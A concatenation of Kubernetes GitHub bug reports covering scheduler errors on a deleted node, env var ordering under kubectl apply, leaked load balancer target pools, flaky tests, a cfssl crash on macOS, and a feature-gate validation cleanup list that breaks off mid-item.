4264d9c5-1474-11e7-9695-fa163e75820f\ , apiversion:\ v1\ , resourceversion:\ 59469412\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found\r e0329 12:50:13.746350       1 factory.go:583  error scheduling kube-system kube-scheduler-1480708505-bx4lq: node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found; retrying\r i0329 12:50:13.746411       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-scheduler-1480708505-bx4lq\ , uid:\ 62c3344f-1476-11e7-ab4c-fa163e1913d3\ , apiversion:\ v1\ , resourceversion:\ 59466732\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found\r e0329 12:50:13.748522       1 factory.go:583  error scheduling kube-system kube-controller-manager-2028335071-n43xs: node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found; retrying\r i0329 12:50:13.748616       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-controller-manager-2028335071-n43xs\ , uid:\ 5db1d4f0-1476-11e7-ab4c-fa163e1913d3\ , apiversion:\ v1\ , resourceversion:\ 59466119\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found\r    \r \r   what you expected to happen  :\r this to work\r \r   how to reproduce it    as minimally and precisely as possible :\r guess  not tried :\r - create a namespace, create a pod in that namespace, have it scheduled to a node.\r - delete the namespace without the pod being deleted  user report: was  kubectl delete namespace log-management   - not sure why this didn't delete everything\r - now delete that node\r \r   anything else we need to know  :\r tried this:  etcdctl ls /registry --recursive | grep -v events | xargs -n1 -i etcdctl get {} | grep kubernetes-cit-kubernetes-cr1-0-1490206280  - to hopefully find any references to that node anywhere, and the only thing that came back was:\r    \r {\ kind\ :\ pod\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ cerebro-2756361696-4nlhx\ ,\ generatename\ :\ cerebro-2756361696-\ ,\ namespace\ :\ log-management\ ,\ selflink\ :\ /api/v1/namespaces/log-management/pods/cerebro-2756361696-4nlhx\ ,\ uid\ :\ e178ad25-10bc-11e7-96a2-fa163e75820f\ ,\ creationtimestamp\ :\ 2017-03-24t18:08:28z\ ,\ labels\ :{\ appid\ :\ logmanagement\ ,\ component\ :\ cerebro\ ,\ pod-template-hash\ :\ 2756361696\ },\ annotations\ :{\ kubernetes.io/created-by\ :\ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ log-management\\\ ,\\\ name\\\ :\\\ cerebro-2756361696\\\ ,\\\ uid\\\ :\\\ 9327d1c0-098f-11e7-ae04-fa163ed5ffed\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 57124035\\\ }}\ \ },\ ownerreferences\ : {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ replicaset\ ,\ name\ :\ cerebro-2756361696\ ,\ uid\ :\ 9327d1c0-098f-11e7-ae04-fa163ed5ffed\ ,\ controller\ :true} },\ spec\ :{\ volumes\ : {\ name\ :\ default-token-pmt34\ ,\ secret\ :{\ secretname\ :\ default-token-pmt34\ ,\ defaultmode\ :420}} ,\ containers\ : {\ name\ :\ cerebro\ ,\ image\ :\ mirror-internal.docker.tech.lastmile.com/log-aggregation/cerebro-docker:b2f1b3871bde45c2f97072aa7ec73296bbde03e5\ ,\ args\ : \ -dconfig.file=/etc/cerebro/cerebro.conf\ ,\ -v\  ,\ ports\ : {\ containerport\ :9000,\ protocol\ :\ tcp\ } ,\ env\ : {\ name\ :\ cerebro_secret\ ,\ valuefrom\ :{\ secretkeyref\ :{\ name\ :\ cerebro-secret\ ,\ key\ :\ play.crypto.secret\ }}} ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ default-token-pmt34\ ,\ readonly\ :true,\ mountpath\ :\ /var/run/secrets/kubernetes.io/serviceaccount\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ serviceaccountname\ :\ default\ ,\ serviceaccount\ :\ default\ ,\ nodename\ :\ kubernetes-cit-kubernetes-cr1-0-1490206280\ ,\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ registry.docker.tech.lastmile.com\ } },\ status\ :{\ phase\ :\ running\ ,\ conditions\ : {\ type\ :\ initialized\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-03-24t18:08:28z\ },{\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-03-24t18:08:41z\ },{\ type\ :\ podscheduled\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-03-24t18:08:28z\ } ,\ hostip\ :\ 10.33.234.162\ ,\ podip\ :\ 172.31.84.15\ ,\ starttime\ :\ 2017-03-24t18:08:28z\ ,\ containerstatuses\ : {\ name\ :\ cerebro\ ,\ state\ :{\ running\ :{\ startedat\ :\ 2017-03-24t18:08:41z\ }},\ laststate\ :{},\ ready\ :true,\ restartcount\ :0,\ image\ :\ mirror-internal.docker.tech.lastmile.com/log-aggregation/cerebro-docker:b2f1b3871bde45c2f97072aa7ec73296bbde03e5\ ,\ imageid\ :\ docker-pullable://mirror-internal.docker.tech.lastmile.com/log-aggregation/cerebro-docker@sha256:2adc458073b54df6541a034c81f0e8574766f320274b441d8a58c0e347e75a88\ ,\ containerid\ :\ docker://236251993dbe2612add624605189ae74dadfe83706bf8d70327441176bee6067\ } }}\r    \r trying to delete that pod:  error from server  notfound : pods \ cerebro-2756361696-4nlhx\  not found \r this situation was resolved by recreating the namespace the pod used to be in - then the pod was immediately deleted  either by the node controller or the replicaset controller, unsure , and the scheduler started working again\r

kubernetes version    use  kubectl version  : 1.6.4\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2 lts\r -   kernel    e.g.  uname -a  : 4.4.0-1013-aws\r -   install tools  : kops\r \r   what happened  :\r i was trying to reference one env variable inside other in a deployment as per this  doc  https://kubernetes.io/docs/resources-reference/v1.6/ envvar-v1-core . the first variable is set using downward api and the next one references the first one. the order was appropriate. these changes i made to the existing deployment and used kubectl apply to update my environment. the first variable which will set from the downward api is moved to the end of the env variables list in the deployment. as a result, the variable which is referencing this is not able to resolve the value of the first variable. i had to delete the deployment and recreate it to make this work.\r \r   what you expected to happen  :\r \r when i did kubectl apply on the existing deployment, the variables order should be as per the new file.\r \r   how to reproduce it    as minimally and precisely as possible :\r   create a deployment with some env variables.\r   add a new env variable which uses downward api to the top of the env variable list.\r   reference that env variable inside some other existing env variable defined below that.\r   use kubectl apply to update the deployment.\r   use kubectl get deployment -o yaml to check the env variables order. you can see that the variable defined at the top is now at the bottom of the variable list.\r

 \r   what happened  :\r \r we configure several services with type load balancer as entry points for connections from the outside world.  on deletion of those services  and actually everything else pods, deployments, and so on  the target pool associated of one of them is constantly leaked and never removed, even though the related forwarding rule is correctly deleted.  there is no obvious difference between the service configuration that could suggest a different behaviour when deleting the service.  the configuration looks like the following:\r \r    \r kind: service\r apiversion: v1\r metadata:\r   name: app_name-public\r spec:\r   selector:\r     app: app_name\r   ports:\r     - name: http\r       protocol: tcp\r       port: 80\r       targetport: 80\r     - name: https\r       protocol: tcp\r       port: 443\r       targetport: 443\r   type: loadbalancer\r ---\r kind: deployment\r apiversion: apps/v1beta1\r metadata:\r   name: app_name\r spec:\r   revisionhistorylimit: 2\r   template:\r     metadata:\r       labels:\r         app: app_name\r       annotations:\r         config-update-trigger: \ 0\ \r     spec:\r       containers:\r         - name: container_name\r           image: image_id\r           ports:\r             - name: http\r               containerport: 80\r               protocol: tcp\r             - name: https\r               containerport: 443\r               protocol: tcp\r    \r \r \r   what you expected to happen  :\r \r the target pools should be correctly deleted and not leaked.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in my case create services as described above and delete them with all other components produces a leak of a target pool.\r \r the delete command looks like the following:\r \r    \r kubectl delete daemonsets --all\r kubectl delete all --all\r gcloud --quiet deployment-manager deployments delete \ ${deployment}\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.7\r - cloud provider or hardware configuration  : google cloud\r

flaky job: pr:pull-kubernetes-e2e-kubeadm-gce  flakes in the past week:   64    consistency:   90.60%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 114 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/periodic-kubernetes-bazel-test-1-6/1501\r \r    \r e0925 18:02:44.909915       9 event.go:259  could not construct reference to: '&v1.pod{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ foo\ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ foo\ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\ \ }, spec:v1.podspec{volumes:  v1.volume nil , initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\ ctr\ , image:\ image\ , command:  string nil , args:  string nil , workingdir:\ \ , ports:  v1.containerport nil , envfrom:  v1.envfromsource nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist nil }, volumemounts:  v1.volumemount nil , livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\ \ , terminationmessagepolicy:\ file\ , imagepullpolicy:\ ifnotpresent\ , securitycontext:  v1.securitycontext  0xc42048e630 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\ always\ , terminationgraceperiodseconds:  int64  nil , activedeadlineseconds:  int64  nil , dnspolicy:\ clusterfirst\ , nodeselector:map string string nil , serviceaccountname:\ \ , deprecatedserviceaccount:\ \ , automountserviceaccounttoken:  bool  nil , nodename:\ \ , hostnetwork:false, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  nil , imagepullsecrets:  v1.localobjectreference nil , hostname:\ \ , subdomain:\ \ , affinity:  v1.affinity  nil , schedulername:\ \ , tolerations:  v1.toleration nil }, status:v1.podstatus{phase:\ \ , conditions:  v1.podcondition nil , message:\ \ , reason:\ \ , hostip:\ \ , podip:\ \ , starttime:  v1.time  nil , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus nil , qosclass:\ \ }}' due to: 'selflink was empty, can't make reference'. will not report event: 'warning' 'failedvalidation' 'error validating pod foo_ foo  from test, ignoring: metadata.namespace: required value'\r e0925 18:02:44.913620       9 event.go:259  could not construct reference to: '&v1.pod{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ foo\ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\ \ }, spec:v1.podspec{volumes:  v1.volume nil , initcontainers:  v1.container nil , containers:  v1.container nil , restartpolicy:\ \ , terminationgraceperiodseconds:  int64  nil , activedeadlineseconds:  int64  nil , dnspolicy:\ \ , nodeselector:map string string nil , serviceaccountname:\ \ , deprecatedserviceaccount:\ \ , automountserviceaccounttoken:  bool  nil , nodename:\ \ , hostnetwork:false, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  nil , imagepullsecrets:  v1.localobjectreference nil , hostname:\ \ , subdomain:\ \ , affinity:  v1.affinity  nil , schedulername:\ \ , tolerations:  v1.toleration nil }, status:v1.podstatus{phase:\ \ , conditions:  v1.podcondition nil , message:\ \ , reason:\ \ , hostip:\ \ , podip:\ \ , starttime:  v1.time  nil , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus nil , qosclass:\ \ }}' due to: 'selflink was empty, can't make reference'. will not report event: 'warning' 'failedvalidation' 'error validating pod foo_   from test, ignoring:  metadata.namespace: required value, spec.containers: required value, spec.restartpolicy: required value, spec.dnspolicy: required value '\r e0925 18:02:44.918749       9 file.go:72  unable to read config path \ random_non_existent_path\ : path does not exist, ignoring\r e0925 18:02:44.920555       9 file.go:72  unable to read config path \ /tmp/dir-test718662150/test_pod_config_0\ : path does not exist, ignoring\r --- fail: testreadpodsfromfilechanged  5.00s \r \tfile_linux_test.go:388: simple pod: expected update, timeout instead\r    \r \r /assign @yujuhong \r \r could you look at this or reassign someone? thanks.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when you run  kubectl get pods , we download the open-api  serially on top of that , for nothing since it's not used. maybe we should just download the open-api if needed.\r \r   what you expected to happen  :\r openapi is only downloaded if necessary  a.k.a, for types that are unknown from kubectl \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get pods \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9+\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r pr https://github.com/kubernetes/kubernetes/pull/58684 adds a set of admission controllers that are on by default.\r \r   what you expected to happen  :\r we should make sure that list of controllers makes sense for storage.\r \r storage controllers include:\r   persistentvolumelabel\r   defaultstorageclass\r   storageprotection\r   volumeresize\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : cfssl fails to work correctly when e2e testing from macos\r \r   what you expected to happen  : e2e testing with  go run hack/e2e.go -- --up ...  should bring up a cluster\r \r   how to reproduce it  as minimally and precisely as possible   : run  go run hack/e2e.go -- --build --up  on mac.\r \r \r   anything else we need to know?  : https://github.com/golang/go/issues/17335 looks related, possibly this binary is just built with too old of a go version?\r \r   environment  : macos high sierra 10.13.6\r \r relevant log snippet:\r <details>\r \r    console\r + kube::util::ensure-cfssl /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r + command -v cfssl\r + local cfssldir=/var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r +    -z /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl   \r + mkdir -p /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r + pushd /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r + command pushd /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r + pushd /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl\r + echo 'unable to successfully run '\\''cfssl'\\'' from /users/bentheelder/homebrew/opt/openssl/bin:/users/bentheelder/downloads/google-cloud-sdk/bin:/users/bentheelder/.gvm/bin:/users/bentheelder/homebrew/bin:/usr/local/git/current/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/go/bin:/users/bentheelder/downloads/google-cloud-sdk/bin:/users/bentheelder/.gvm/bin:/users/bentheelder/homebrew/bin:/users/bentheelder/go/bin:/users/bentheelder/go/bin; downloading instead...'\r unable to successfully run 'cfssl' from /users/bentheelder/homebrew/opt/openssl/bin:/users/bentheelder/downloads/google-cloud-sdk/bin:/users/bentheelder/.gvm/bin:/users/bentheelder/homebrew/bin:/usr/local/git/current/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/go/bin:/users/bentheelder/downloads/google-cloud-sdk/bin:/users/bentheelder/.gvm/bin:/users/bentheelder/homebrew/bin:/users/bentheelder/go/bin:/users/bentheelder/go/bin; downloading instead...\r ++ uname -s\r + kernel=darwin\r + case \ ${kernel}\  in\r + curl --retry 10 -l -o cfssl https://pkg.cfssl.org/r1.2/cfssl_darwin-amd64\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100  9.8m  100  9.8m    0     0  17.5m      0 --:--:-- --:--:-- --:--:-- 17.5m\r + curl --retry 10 -l -o cfssljson https://pkg.cfssl.org/r1.2/cfssljson_darwin-amd64\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 2176k  100 2176k    0     0  5020k      0 --:--:-- --:--:-- --:--:-- 5027k\r + chmod +x cfssl\r + chmod +x cfssljson\r + cfssl_bin=/var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssl\r + cfssljson_bin=/var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssljson\r +    ! -x /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssl   \r +    ! -x /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssljson   \r + popd\r + command popd\r + popd\r + echo '{\ signing\ :{\ default\ :{\ expiry\ :\ 43800h\ ,\ usages\ : \ signing\ ,\ key encipherment\ ,\ client auth\  }}}'\r + echo '{\ cn\ :\ kubelet\ ,\ names\ : {\ o\ :\ system:nodes\ } ,\ hosts\ : \ \  ,\ key\ :{\ algo\ :\ rsa\ ,\ size\ :2048}}'\r + /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssl gencert -ca=pki/ca.crt -ca-key=pki/private/ca.key-config=ca-config.json -\r + /var/folders/hl/0xw19s6d3ln687jsdd243w8r00fsfv/t/tmp.ghwiivrn/cfssl/cfssljson -bare kubelet\r failed mspanlist_insert 0x246000 0x5545d0ef825e 0x0 0x0\r fatal error: mspanlist_insert\r \r runtime stack:\r runtime.throw 0x15d320, 0x10 \r         /usr/local/go/src/runtime/panic.go:530 +0x90 fp=0x7ffeefbfed50 sp=0x7ffeefbfed38\r runtime.  mspanlist .insert 0x1fdee8, 0x246000 \r         /usr/local/go/src/runtime/mheap.go:933 +0x293 fp=0x7ffeefbfed80 sp=0x7ffeefbfed50\r runtime.  mheap .freespanlocked 0x1fd6e0, 0x246000, 0x100, 0x0 \r         /usr/local/go/src/runtime/mheap.go:809 +0x4be fp=0x7ffeefbfede8 sp=0x7ffeefbfed80\r runtime.  mheap .grow 0x1fd6e0, 0x8, 0x0 \r         /usr/local/go/src/runtime/mheap.go:675 +0x2a0 fp=0x7ffeefbfee40 sp=0x7ffeefbfede8\r runtime.  mheap .allocspanlocked 0x1fd6e0, 0x1, 0x0 \r         /usr/local/go/src/runtime/mheap.go:553 +0x4e3 fp=0x7ffeefbfee98 sp=0x7ffeefbfee40\r runtime.  mheap .alloc_m 0x1fd6e0, 0x1, 0x15, 0x0 \r         /usr/local/go/src/runtime/mheap.go:437 +0x119 fp=0x7ffeefbfeec8 sp=0x7ffeefbfee98\r runtime.  mheap .alloc.func1  \r         /usr/local/go/src/runtime/mheap.go:502 +0x41 fp=0x7ffeefbfeef8 sp=0x7ffeefbfeec8\r runtime.systemstack 0x7ffeefbfef18 \r         /usr/local/go/src/runtime/asm_amd64.s:307 +0xab fp=0x7ffeefbfef00 sp=0x7ffeefbfeef8\r runtime.  mheap .alloc 0x1fd6e0, 0x1, 0x10000000015, 0x108df \r         /usr/local/go/src/runtime/mheap.go:503 +0x63 fp=0x7ffeefbfef48 sp=0x7ffeefbfef00\r runtime.  mcentral .grow 0x1ff2e0, 0x0 \r         /usr/local/go/src/runtime/mcentral.go:209 +0x93 fp=0x7ffeefbfefb0 sp=0x7ffeefbfef48\r runtime.  mcentral .cachespan 0x1ff2e0, 0x1fa308 \r         /usr/local/go/src/runtime/mcentral.go:89 +0x47d fp=0x7ffeefbfeff0 sp=0x7ffeefbfefb0\r runtime.  mcache .refill 0x242000, 0x15, 0x7ffeefbff058 \r         /usr/local/go/src/runtime/mcache.go:119 +0xcc fp=0x7ffeefbff028 sp=0x7ffeefbfeff0\r runtime.mallocgc.func2  \r         /usr/local/go/src/runtime/malloc.go:642 +0x2b fp=0x7ffeefbff048 sp=0x7ffeefbff028\r runtime.systemstack 0x7ffeefbff0e8 \r         /usr/local/go/src/runtime/asm_amd64.s:307 +0xab fp=0x7ffeefbff050 sp=0x7ffeefbff048\r runtime.mallocgc 0x180, 0x140400, 0x0, 0x800000000 \r         /usr/local/go/src/runtime/malloc.go:643 +0x869 fp=0x7ffeefbff128 sp=0x7ffeefbff050\r runtime.newobject 0x140400, 0x1fa5b0 \r         /usr/local/go/src/runtime/malloc.go:781 +0x42 fp=0x7ffeefbff150 sp=0x7ffeefbff128\r runtime.malg 0x8000, 0x1fa820 \r         /usr/local/go/src/runtime/proc.go:2634 +0x27 fp=0x7ffeefbff188 sp=0x7ffeefbff150\r runtime.mpreinit 0x1fab60 \r         /usr/local/go/src/runtime/os1_darwin.go:140 +0x1f fp=0x7ffeefbff1a0 sp=0x7ffeefbff188\r runtime.mcommoninit 0x1fab60 \r         /usr/local/go/src/runtime/proc.go:494 +0x105 fp=0x7ffeefbff1e8 sp=0x7ffeefbff1a0\r runtime.schedinit  \r         /usr/local/go/src/runtime/proc.go:434 +0x79 fp=0x7ffeefbff230 sp=0x7ffeefbff1e8\r runtime.rt0_go 0x7ffeefbff268, 0x3, 0x7ffeefbff268, 0x0, 0x0, 0x3, 0x7ffeefbff4a0, 0x7ffeefbff4ee, 0x7ffeefbff4f4, 0x0, ... \r         /usr/local/go/src/runtime/asm_amd64.s:138 +0x132 fp=0x7ffeefbff238 sp=0x7ffeefbff230\r failed mspanlist_insert 0xa0f000 0x5545d283be65 0x0 0x0\r fatal error: mspanlist_insert\r \r runtime stack:\r runtime.throw 0x6bbbe0, 0x10 \r         /usr/local/go/src/runtime/panic.go:530 +0x90 fp=0x7ffeefbfed00 sp=0x7ffeefbfece8\r runtime.  mspanlist .insert 0x9436e8, 0xa0f000 \r         /usr/local/go/src/runtime/mheap.go:933 +0x293 fp=0x7ffeefbfed30 sp=0x7ffeefbfed00\r runtime.  mheap .freespanlocked 0x942ee0, 0xa0f000, 0x100, 0x0 \r         /usr/local/go/src/runtime/mheap.go:809 +0x4be fp=0x7ffeefbfed98 sp=0x7ffeefbfed30\r runtime.  mheap .grow 0x942ee0, 0x8, 0x0 \r         /usr/local/go/src/runtime/mheap.go:675 +0x2a0 fp=0x7ffeefbfedf0 sp=0x7ffeefbfed98\r runtime.  mheap .allocspanlocked 0x942ee0, 0x1, 0x0 \r         /usr/local/go/src/runtime/mheap.go:553 +0x4e3 fp=0x7ffeefbfee48 sp=0x7ffeefbfedf0\r runtime.  mheap .alloc_m 0x942ee0, 0x1, 0x15, 0x0 \r         /usr/local/go/src/runtime/mheap.go:437 +0x119 fp=0x7ffeefbfee78 sp=0x7ffeefbfee48\r runtime.  mheap .alloc.func1  \r         /usr/local/go/src/runtime/mheap.go:502 +0x41 fp=0x7ffeefbfeea8 sp=0x7ffeefbfee78\r runtime.systemstack 0x7ffeefbfeec8 \r         /usr/local/go/src/runtime/asm_amd64.s:307 +0xab fp=0x7ffeefbfeeb0 sp=0x7ffeefbfeea8\r runtime.  mheap .alloc 0x942ee0, 0x1, 0x10000000015, 0xee2f \r         /usr/local/go/src/runtime/mheap.go:503 +0x63 fp=0x7ffeefbfeef8 sp=0x7ffeefbfeeb0\r runtime.  mcentral .grow 0x944ae0, 0x0 \r         /usr/local/go/src/runtime/mcentral.go:209 +0x93 fp=0x7ffeefbfef60 sp=0x7ffeefbfeef8\r runtime.  mcentral .cachespan 0x944ae0, 0x93d4e8 \r         /usr/local/go/src/runtime/mcentral.go:89 +0x47d fp=0x7ffeefbfefa0 sp=0x7ffeefbfef60\r runtime.  mcache .refill 0xa0b000, 0x15, 0x7ffeefbff008 \r         /usr/local/go/src/runtime/mcache.go:119 +0xcc fp=0x7ffeefbfefd8 sp=0x7ffeefbfefa0\r runtime.mallocgc.func2  \r         /usr/local/go/src/runtime/malloc.go:642 +0x2b fp=0x7ffeefbfeff8 sp=0x7ffeefbfefd8\r runtime.systemstack 0x7ffeefbff098 \r         /usr/local/go/src/runtime/asm_amd64.s:307 +0xab fp=0x7ffeefbff000 sp=0x7ffeefbfeff8\r runtime.mallocgc 0x180, 0x6558a0, 0x0, 0x800000000 \r         /usr/local/go/src/runtime/malloc.go:643 +0x869 fp=0x7ffeefbff0d8 sp=0x7ffeefbff000\r runtime.newobject 0x6558a0, 0x93da10 \r         /usr/local/go/src/runtime/malloc.go:781 +0x42 fp=0x7ffeefbff100 sp=0x7ffeefbff0d8\r runtime.malg 0x8000, 0x93df00 \r         /usr/local/go/src/runtime/proc.go:2634 +0x27 fp=0x7ffeefbff138 sp=0x7ffeefbff100\r runtime.mpreinit 0x93e760 \r         /usr/local/go/src/runtime/os1_darwin.go:140 +0x1f fp=0x7ffeefbff150 sp=0x7ffeefbff138\r runtime.mcommoninit 0x93e760 \r         /usr/local/go/src/runtime/proc.go:494 +0x105 fp=0x7ffeefbff198 sp=0x7ffeefbff150\r runtime.schedinit  \r         /usr/local/go/src/runtime/proc.go:434 +0x79 fp=0x7ffeefbff1e0 sp=0x7ffeefbff198\r runtime.rt0_go 0x7ffeefbff218, 0x6, 0x7ffeefbff218, 0x0, 0x0, 0x6, 0x7ffeefbff468, 0x7ffeefbff4b2, 0x7ffeefbff4ba, 0x7ffeefbff4c9, ... \r         /usr/local/go/src/runtime/asm_amd64.s:138 +0x132 fp=0x7ffeefbff1e8 sp=0x7ffeefbff1e0\r    \r \r </details>

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r unable to deploy kibana 6.3.2\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this is a follow-up to https://github.com/kubernetes/kubernetes/issues/72169 to sweep api object validation to remove conditional logic that can cause problems for existing objects across skewed api servers, or if a feature gate is disabled after having been enabled.\r \r this is the list of feature gates that are currently checked in validation, and the work required to make them safe for skewed apiserver scenarios:\r \r -  x  apparmor - @liggitt, https://github.com/kubernetes/kubernetes/pull/72655\r   - plumb  podannotations ,  oldpodannotations  into  pod dropdisabledfields , update callers\r   - add logic to  pod dropdisabledfields  that removes apparmor-prefixed annotations from  podannotations  if the  apparmor  feature-gate is disabled and  oldpodannotations  did not contain any apparmor-prefixed annotations\r   - remove the  apparmor  feature-gate check in validation.go\r -  x  resourcequotascopeselectors - @sbezverk, https://github.com/kubernetes/kubernetes/issues/72664\r   - create a  resourcequota dropdisabledfields  utility  following  persistentvolume dropdisabledfields  as an example  and call it from the resourcequota prepareforcreate/prepareforupdate strategy methods\r   - add logic to  resourcequota dropdisabledfields  to set  resourcespec.scopeselector  to nil if the  resourcequotascopeselectors  feature is disabled and  oldresourcequotaspec  does not have  scopeselector  set\r   - remove the  resourcequotascopeselectors  feature gate check from validation.go validatescopeselector\r -  x  persistentlocalvolumes - @sbezverk, https://github.com/kubernetes/kubernetes/pull/72686\r   - add logic to  persistentvolume dropdisabledfields  to set  pvspec.persistentvolumesource.local  to nil if the  persistentlocalvolumes  feature is disabled and  oldpvspec  does not have  persistentvolumesource.local  set\r   - remove the  persistentlocalvolumes  feature-gate check in validation.go\r -  x  volumesnapshotdatasource - @rajathagasthya, https://github.com/kubernetes/kubernetes/pull/72666\r   - add logic to  persistentvolumeclaim dropdisabledfields  to set  pvcspec.datasource  to nil if the  volumesnapshotdatasource  feature is disabled and  oldpvcspec  does not have a non-nil datasource\r   - remove the  volumesnapshotdatasource  feature gate check from validation.go validatepersistentvolumeclaimspec\r -  x  podshareprocessnamespace - @rajathagasthya, 